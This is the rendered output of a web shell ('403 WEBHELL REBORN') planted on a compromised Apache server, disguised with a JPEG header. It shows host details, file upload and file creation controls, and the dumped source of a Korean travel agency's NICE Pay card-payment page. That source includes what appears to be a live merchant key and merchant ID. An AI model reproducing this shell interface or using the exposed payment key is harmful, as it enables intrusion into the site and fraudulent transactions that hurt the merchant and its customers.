ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/ty_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/ty_test/cardNew.php
<?php
    function _e($w){
        return $w;
    }

    // 키만 별도 세팅
    $cf['pg']['nice']['tktravel1m'] = "mW1r6ggFYVl+cCv9gngBmAWNjfCnotcUJx8RNOhVYfdGm0EF8Qtwc3ZpDq3aCRAPvHNwr3VgzAsOL7M5jR0KAw==";
    $cf['pg']['nice']['merchantID'] = "tktravel1m";// 상점아이디 국내용

    //테스트용
    //$cf['pg']['nice']['tktravel1m'] = "23M3fkmdmWbJeSrC9vNZT4i8c0da+RxE/4rWXXuueBsQOEe6s6EUo3XOJyz9naJm3gtCc7OKgpKyPKByExIRjw==";
    //$cf['pg']['nice']['merchantID'] = "nictes999m";// 상점아이디 국내용

    $cf['pg']['nice']['merchantKey'] = $cf['pg']['nice']['tktravel1m'];
    $cf['pg']['nice']['currency'] = "USD";
    $cf['pg']['nice']['lang'] = "KO";


    /******************************************************
     * <결제요청 파라미터>
     ******************************************************/

    $merchantKey	= $cf['pg']['nice']['merchantKey']; // 상점키
    $MID			= $cf['pg']['nice']['merchantID']; // 상점아이디
    $price			= $total_pay_real; // 결제상품금액
    $buyerID		= $TO_MB['mb_id']; // 구매자ID
    $buyerName		= $TO_MB['mb_nm']; // 구매자명
    $buyerTel		= $TO_MB['mb_phone']; // 구매자연락처
    $buyerEmail		= $TO_MB['mb_email']; // 구매자메일주소
    $moid			= $res_no; // 상품주문번호
    $returnURL		= $cf['url_ssl']."/ty_test/tour_order_niceResult.html"; // 결과페이지, 모바일 전용
    $CurrencyCode	= "USD"; // 결제화폐단위(KRW,USD,CNY)
    $CurrencyCode	= "KRW"; // 결제화폐단위(KRW,USD,CNY)
    $NpLang			= $cf['pg']['nice']['lang']; // 결제창언어(EN,CN,KO)

    //테스트 임시로 결제할 가격
    $price = 100; //1달러
    $total_pay_real = 100; //1달러

    /******************************************************
     * <해쉬암호화> (수정하지 마세요)
     * SHA-256 해쉬암호화는 거래 위변조를 막기위한 방법입니다.
     ******************************************************/
    $ediDate = date("YmdHis");
    $hashString = bin2hex(hash('sha256', $ediDate.$MID.$price.$merchantKey, true));


?>

    <script src="/js/library/jquery-3.1.1.min.js"></script>

    <!-- [PC Only] Nicepay 결제모듈 Script -->
    <script src="https://web.nicepay.co.kr/v3/webstd/js/nicepay-3.0.js" type="text/javascript"></script>


<!-- 주문정보 입력 form : order_info -->
<form name="order_info" id="order_info" method="post" action="tour_order_niceResult.html" accept-charset="euc-kr">
    <input type="hidden" name="SqlType" id="SqlType"  value="">

    <!-- 상점파라메터 -->
    <input type="hidden" name="tour_res_no" value="<?=$tour_res_no?>"><!-- 예약번호 -->
    <input type="hidden" name="good_point" value="0"><!-- 적립금사용금액 -->
    <input type="hidden" name="good_point_str" value=""><!-- 적립금사용금액내역 -->

    <!-- Nicepay 파라메터 -->
    <input type="hidden" name="PayMethod" value="CARD"><!-- 결제수단 -->


    <input type="hidden" name="Amt" value="<?=$total_pay_real?>"><!--결제금액-->



    <input type="hidden" name="MID" value="<?=$MID?>"><!--상점아이디-->
    <input type="hidden" name="Moid" value="<?=$moid?>"><!--주문번호-->
    <input type="hidden" name="MallUserID" value="<?=$buyerID?>">

    <input type="hidden" name="BuyerEmail" value="<?=$buyerEmail?>">
    <input type="hidden" name="BuyerTel" value="<?=(($res_cust_hp) ? $res_cust_hp : $buyerTel)?>">
    <input type="hidden" name="ReturnURL" value="<?=$returnURL?>"><!--인증후URL(MobileOnly)-->

    <input type="hidden" name="GoodsName" value="<?=$good_name?>"><!-- 상품이름 -->
    <input type="hidden" name="BuyerName" value="<?=$buyerName?>">



    <!-- Nicepay DirectShow -->
    <input type="hidden" name="DirectShowOpt" value=""/> <!-- 직접 호출 옵션 -->
    <input type="hidden" name="NicepayReserved" value=""/> <!-- 나이스페이 복합 옵션 -->
    <input type="hidden" name="DirectEasyPay" value=""/> <!-- 네이버페이 간편결제 -->
    <input type="hidden" name="EasyPayMethod" value=""/> <!-- 네이버페이 간편결제 -->

    <input type="hidden" name="ReqReserved" value=""><!--상점예비-->
    <input type="hidden" name="LogoImage" value=""><!--로고(94x25)-->
    <input type="hidden" name="CurrencyCode" value="<?=$CurrencyCode?>"><!--결제화폐단위-->
    <input type="hidden" name="NpLang" value="<?=$NpLang?>"><!--언어-->
    <input type="hidden" name="CharSet" value="utf-8"><!--인코딩-->
    <input type="hidden" name="CardQuota" value="00"><!--할부개월-->
    <input type="hidden" name="SelectQuota" value=""><!--할부-->
    <input type="hidden" name="SelectCardCode" value=""><!--할부카드사-->

    <!-- ETC -->
    <input type="hidden" name="EdiDate" value="<?=$ediDate?>"/><!-- 전문 생성일시 -->
    <input type="hidden" name="SignData" value="<?=$hashString?>"/><!-- 해쉬값 -->
    <input type="hidden" name="RetryURL" value="<?=$retryURL?>"/>


    <h5><?=_e('예약자 정보');?></h5>
    <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="예약자명, 이메일 및 연락처를 입력합니다." class="table_l mb30">
        <caption>기본정보</caption>
        <colgroup>
            <col width="150px" />
            <col width="330px" />
            <col width="150px" />
            <col width="*" />
        </colgroup>
        <thead>
        <tr>
            <th scope="row"><label for="mb_nm"><?=_e('예약자명');?></label></th>
            <td <?=($cf['lang']=='ko') ? 'colspan="3"' : ''?>>
                <input type="hidden" name="buyr_name" value="<?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?>" /><?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?>
            </td>

            <?if($cf['lang']!='ko') {?>
            <th scope="row"><label for="mb_nat_cd"><?=_e('국적');?></label></th>
            <td><input type="hidden" name="buyr_nation" value="<?=$res_cust_nat_cd?>"/><?=$res_cust_nat_cd?></td>
        </tr>
        <? } ?>

        </thead>
        <tbody>
        <tr>
            <th scope="row"><label for="mb_tel"><?=_e('휴대폰');?></label></th>
            <td><input type="hidden" name="buyr_tel1" value="<?=$res_cust_hp?>" /><?=$res_cust_hp?></td>
            <th scope="row"><label for="mb_email">Email</label></th>
            <td><input type="hidden" name="buyr_mail" value="<?=$TO_MB['mb_email']?>" /><?=$TO_MB['mb_email']?></td>
        </tr>
        <? if($res_sns_id) { ?>
            <tr>
                <th scope="row"><label for="mb_sns"><?if($cf['lang']=='ko') {echo "카카오톡 ID";} else {echo "SNS ID";}?></label></th>
                <td colspan="3"><input type="hidden" name="buyr_sns" value="<?=$res_sns_id?>" /><?=$res_sns_id?></td>
            </tr>
        <? } ?>
        </tbody>
    </table>


    <h5><?=_e('결제 정보');?></h5>
    <?php
    if( $cf['curunit'] != 'KRW')	{
        ?>
        <!--					<p style="color:red">--><?php //=_e('WeChat Pay가 작동하지 않은 경우 ALIPAY로 진행 부탁드립니다.')?><!--</p>-->
        <?php
    }
    ?>

    <br>
    <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="결제방법을 선택합니다." class="table_l mb30">
        <caption>결제정보</caption>
        <colgroup>
            <col width="150px" />
            <col width="*" />
        </colgroup>
        <thead>
        <tr>
            <th scope="row"><label for="inst_cd"><?=_e('결제방법');?></label></th>
            <td class="payment_method">
                <input type="radio" name="inst_cd" id="payTypeCreditCard" value="INST002">
                <label id="payTypeCreditCardLabel" for="payTypeCreditCard">Credit Card</label>
            </td>
        </tr>
        </thead>
    </table>
</form>

<ul class="btn_wrap" id="display_pay_button" style="display:block;">
    <li class="btn_pay"><a href="javascript:;" onclick="jsf__pay()" ><?=_e('결제하기');?></a></li>
    <li class="btn_cancel"><a href="/"><?=_e('취소');?></a></li>
</ul>



<script type="text/javascript">
    /*
     * 포인트사용기능(2017-01-20)
     */
    var total_pay = parseInt(<?=$old_total_pay?>);
    var total_pay_fr = parseInt(<?=$total_pay_fr?>);
    var total_pay_final = parseInt(<?=$total_pay_final?>);

    var good_mny2 = 0; // good_nmy
    var good_mny2_won = 0; // good_nmy원화
    var good_mny_pay = 0;

    // 결제 처리 __formCheckAllow > jsp__pay
    function jsf__pay()
    {
        var RetVal = false;
        var mpay = "";
        var inst_cd = $("input:radio[name='inst_cd']:checked").val();
        var form = document.order_info;

        console.log('inst_cd is ' + inst_cd);

        mpay = "card";


        console.log('mpay is ' + mpay);

        if(mpay=="card") { // 카드결제

            // 간편결제 (카카오페이, 네이버페이)
            form.elements['DirectShowOpt'].value = '';
            form.elements['DirectEasyPay'].value = '';

            form.elements['ReturnURL'].value = '<?=$returnURL?>';
            form.elements['MID'].value = '<?=$MID?>';

            $("form#order_info").attr("action","tour_order_niceResult.html");

            try
            {
                // PC 결제창 진입
                goPay(form);
            }
            catch (e)
            {
                /* IE 에서 결제 정상종료시 throw로 스크립트 종료 */
            }
        }
        else if(mpay=="bankin") { // 무통장 입금

            if(!$("#inbk_dt").val()) {
                alert("<?=_e('입금예정일자를 입력하세요.');?>");
                $("#inbk_dt").focus();
                return;
            }

            if(!$("#inbk_innm").val()) {
                alert("<?=_e('입금자명을 입력하세요.');?>");
                $("#inbk_innm").focus();
                return;
            }

            if(!confirm("<?=_e('입금예약 하시겠습니까?');?>\n<?=_e('계좌입금하신후 연락 부탁 드립니다.');?>")) return;

            objCenter("loading","on");//중앙에 보이기.
            setTimeout("ajax_loader_to('tour_order_proc.html','ajax_proc')",100);

            $("#SqlType").val("bank_in");
            $("form#order_info").attr("action","tour_order_proc.html");

            $("form#order_info").submit();
            return;
        }

    }

    //[PC Only] 결제 최종 요청시 실행됩니다. <<'nicepaySubmit()' 이름 수정 불가능>>
    function nicepaySubmit(){
        document.order_info.submit();
    }

    //[PC Only] 결제창 종료 함수 <<'nicepayClose()' 이름 수정 불가능>>
    function nicepayClose(){
        alert("결제가 취소 되었습니다");
    }

    function goodCheckPoint()
    {
        tot_use_point=0; // 사용포인트
        tot_willpoint=0; // 적립예정포인트

        $(".item_use_point2").each(function(){
            var pre_money = parseInt($(this).attr("pre_money"));
            var point_yn = $(this).attr("point_yn");
            var point_buy1 = parseInt($(this).attr("point_buy1"));
            var point_buy2 = parseInt($(this).attr("point_buy2"));
            var point_use_give = '<?=$set_point['point_use_give']?>';
            var payprice=0, msg='', flag=true;
            var pre_money_fr = parseInt($(this).attr("pre_money_fr"));

            var use_point = parseInt($(this).val().replace(/,/g,''));

            if( isNaN(use_point)) {
                alert('포인트결제금액이 유효하지않습니다.');
                $(this).val(0);
                use_point=0;
            }

            var willpoint = 0; // 적립예정포인트

            payprice = pre_money_fr - use_point; // 결제금액

            $(this).parent().parent().parent().find(".item_disp_payprice").html(payprice.toString());


            // 포인트 적립 유무
            if(point_yn=="Y" && point_buy1>0 && point_buy2>0) {
                if(point_use_give=="Y") { // 적립금 사용시 추가 적립
                    willpoint = Math.round((pre_money/point_buy1)*point_buy2);
                }else{
                    willpoint = Math.round((payprice/point_buy1)*point_buy2);
                }
            }else{
                willpoint = 0;
            }

            tot_use_point += use_point;
            tot_willpoint += willpoint;
        });


        good_mny2_won = total_pay - tot_use_point;

        //외화는 적립금 사용안함
        good_mny2 = total_pay_final - tot_use_point;

        good_mny_pay = good_mny2;


        $("#item_good_mny2").html((good_mny2.toString()));
    }

    <?php /*주의 : 로직변경시에 (모바일)사용자 js(mypage/tour_order.html)&common.class.php의 checkPointMember도 같이변경 해 줘야함	*/?>
    var point_use_min = parseInt('<?=$set_point['point_use_min']?>');
    var point_use_order_min = parseInt('<?=$set_point['point_use_order_min']?>'); // 결제가능 최소 구매금액
    var point_use_max_type = '<?=$set_point['point_use_max_type']?>';
    var point_use_max_won = parseInt('<?=$set_point['point_use_max_won']?>');
    var point_use_max_per =  parseInt('<?=$set_point['point_use_max_per']?>');


    $(document).ready(function(){
        $("input[name=inst_cd]").change(function() {
            var radioValue = $(this).val();

            if (radioValue == "INST001") {
                $("#bank_input").show();
            } else {
                $("#bank_input").hide();
            }
        });

        $(".item_use_point2").on("blur",function(){
            goodCheckPoint();
            goodPointSetChk();
        });

        goodCheckPoint();
    });
</script>


Anon7 - 2021